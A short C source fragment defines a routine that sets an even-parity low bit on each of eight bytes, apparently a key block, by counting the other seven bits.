//--------------------------- set even parity routine ---------------

void set_even_parity(UCHAR *bytes)
    {
    // this is a really poor implementation, that I whipped up quickly

    int byteno;

    for(byteno=0;byteno<=7;byteno++)
        {
        int pcount=0;
        
        // count the number of 1 bits
        pcount+=( ( bytes[byteno] & 0x02 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x04 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x08 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x10 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x20 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x40 ) ? 1 : 0 );
        pcount+=( ( bytes[byteno] & 0x80 ) ? 1 : 0 );

        // if there are an even number of 1 bits
        if( pcount % 2 == 0 )
            bytes[byteno] &= 0xFE; //clear parity bit
        else
            bytes[byteno] |= 0x01; //set parity bit
        }
    }
